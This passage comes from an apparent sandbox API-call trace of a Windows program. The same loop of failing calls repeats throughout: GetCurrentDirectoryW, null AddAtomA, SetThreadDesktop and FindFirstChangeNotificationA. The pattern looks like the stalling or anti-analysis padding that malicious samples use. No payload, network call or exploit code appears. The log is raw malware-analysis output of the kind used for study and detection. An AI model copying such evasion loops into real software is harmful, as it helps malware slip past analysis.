lpBuffer="") returned 0x51 [0117.291] GetLastError () returned 0x3 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.291] GetLastError () returned 0x3 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.291] GetLastError () returned 0x3 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.291] GetLastError () returned 0x3 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.291] GetLastError () returned 0x3 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.291] GetLastError () returned 0x3 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.292] GetLastError () returned 0x3 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.292] GetLastError () returned 0x3 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.292] GetLastError () returned 0x3 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.292] GetLastError () returned 0x3 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.292] GetLastError () returned 0x3 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.292] GetLastError () returned 0x3 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.292] GetLastError () returned 0x3 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] AddAtomA (lpString=0x0) returned 0x0 [0117.292] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.292] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.292] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.292] GetLastError () returned 0x3 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.293] GetLastError () returned 0x3 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.293] GetLastError () returned 0x3 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.293] GetLastError () returned 0x3 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.293] GetLastError () returned 0x3 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] AddAtomA (lpString=0x0) returned 0x0 [0117.293] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.293] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.293] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.293] GetLastError () returned 0x3 [0117.294] AddAtomA (lpString=0x0) returned 0x0 [0117.294] AddAtomA (lpString=0x0) returned 0x0 [0117.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.294] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.294] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.294] GetLastError () returned 0x3 [0117.294] AddAtomA (lpString=0x0) returned 0x0 [0117.294] AddAtomA (lpString=0x0) returned 0x0 [0117.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.294] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.294] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.294] GetLastError () returned 0x3 [0117.294] AddAtomA (lpString=0x0) returned 0x0 [0117.294] AddAtomA (lpString=0x0) returned 0x0 [0117.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.294] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.294] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.294] GetLastError () returned 0x3 [0117.294] AddAtomA (lpString=0x0) returned 0x0 [0117.294] AddAtomA (lpString=0x0) returned 0x0 [0117.294] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.295] GetLastError () returned 0x3 [0117.295] AddAtomA (lpString=0x0) returned 0x0 [0117.295] AddAtomA (lpString=0x0) returned 0x0 [0117.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.295] GetLastError () returned 0x3 [0117.295] AddAtomA (lpString=0x0) returned 0x0 [0117.295] AddAtomA (lpString=0x0) returned 0x0 [0117.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.295] GetLastError () returned 0x3 [0117.295] AddAtomA (lpString=0x0) returned 0x0 [0117.295] AddAtomA (lpString=0x0) returned 0x0 [0117.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.295] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.295] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.295] GetLastError () returned 0x3 [0117.295] AddAtomA (lpString=0x0) returned 0x0 [0117.295] AddAtomA (lpString=0x0) returned 0x0 [0117.295] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.297] GetLastError () returned 0x3 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.297] GetLastError () returned 0x3 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.297] GetLastError () returned 0x3 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.297] GetLastError () returned 0x3 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.297] GetLastError () returned 0x3 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.297] GetLastError () returned 0x3 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] AddAtomA (lpString=0x0) returned 0x0 [0117.297] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.297] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.297] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.298] GetLastError () returned 0x3 [0117.298] AddAtomA (lpString=0x0) returned 0x0 [0117.298] AddAtomA (lpString=0x0) returned 0x0 [0117.298] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.298] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.298] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.298] GetLastError () returned 0x3 [0117.298] AddAtomA (lpString=0x0) returned 0x0 [0117.298] AddAtomA (lpString=0x0) returned 0x0 [0117.298] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.299] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.299] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.299] GetLastError () returned 0x3 [0117.299] AddAtomA (lpString=0x0) returned 0x0 [0117.299] AddAtomA (lpString=0x0) returned 0x0 [0117.299] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.299] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.299] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.299] GetLastError () returned 0x3 [0117.300] AddAtomA (lpString=0x0) returned 0x0 [0117.300] AddAtomA (lpString=0x0) returned 0x0 [0117.300] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.300] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.300] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.300] GetLastError () returned 0x3 [0117.300] AddAtomA (lpString=0x0) returned 0x0 [0117.300] AddAtomA (lpString=0x0) returned 0x0 [0117.300] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.300] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.300] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.300] GetLastError () returned 0x3 [0117.300] AddAtomA (lpString=0x0) returned 0x0 [0117.300] AddAtomA (lpString=0x0) returned 0x0 [0117.300] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.300] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.300] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.301] GetLastError () returned 0x3 [0117.301] AddAtomA (lpString=0x0) returned 0x0 [0117.301] AddAtomA (lpString=0x0) returned 0x0 [0117.301] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.301] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.301] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.301] GetLastError () returned 0x3 [0117.301] AddAtomA (lpString=0x0) returned 0x0 [0117.301] AddAtomA (lpString=0x0) returned 0x0 [0117.301] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.301] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.301] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.301] GetLastError () returned 0x3 [0117.301] AddAtomA (lpString=0x0) returned 0x0 [0117.301] AddAtomA (lpString=0x0) returned 0x0 [0117.301] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.301] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.301] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.301] GetLastError () returned 0x3 [0117.301] AddAtomA (lpString=0x0) returned 0x0 [0117.301] AddAtomA (lpString=0x0) returned 0x0 [0117.301] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.302] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.302] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.302] GetLastError () returned 0x3 [0117.302] AddAtomA (lpString=0x0) returned 0x0 [0117.302] AddAtomA (lpString=0x0) returned 0x0 [0117.302] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.302] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.302] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.302] GetLastError () returned 0x3 [0117.302] AddAtomA (lpString=0x0) returned 0x0 [0117.302] AddAtomA (lpString=0x0) returned 0x0 [0117.302] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.302] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.303] GetLastError () returned 0x3 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.303] GetLastError () returned 0x3 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.303] GetLastError () returned 0x3 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.303] GetLastError () returned 0x3 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.303] GetLastError () returned 0x3 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.303] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.303] GetLastError () returned 0x3 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] AddAtomA (lpString=0x0) returned 0x0 [0117.303] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.303] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.304] GetLastError () returned 0x3 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.304] GetLastError () returned 0x3 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.304] GetLastError () returned 0x3 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.304] GetLastError () returned 0x3 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.304] GetLastError () returned 0x3 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.304] GetLastError () returned 0x3 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.304] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.304] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.304] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.304] GetLastError () returned 0x3 [0117.304] AddAtomA (lpString=0x0) returned 0x0 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.305] GetLastError () returned 0x3 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.305] GetLastError () returned 0x3 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.305] GetLastError () returned 0x3 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.305] GetLastError () returned 0x3 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.305] GetLastError () returned 0x3 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.305] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.305] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.305] GetLastError () returned 0x3 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] AddAtomA (lpString=0x0) returned 0x0 [0117.305] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.306] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.306] GetLastError () returned 0x3 [0117.306] AddAtomA (lpString=0x0) returned 0x0 [0117.306] AddAtomA (lpString=0x0) returned 0x0 [0117.306] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.306] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.306] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.306] GetLastError () returned 0x3 [0117.306] AddAtomA (lpString=0x0) returned 0x0 [0117.306] AddAtomA (lpString=0x0) returned 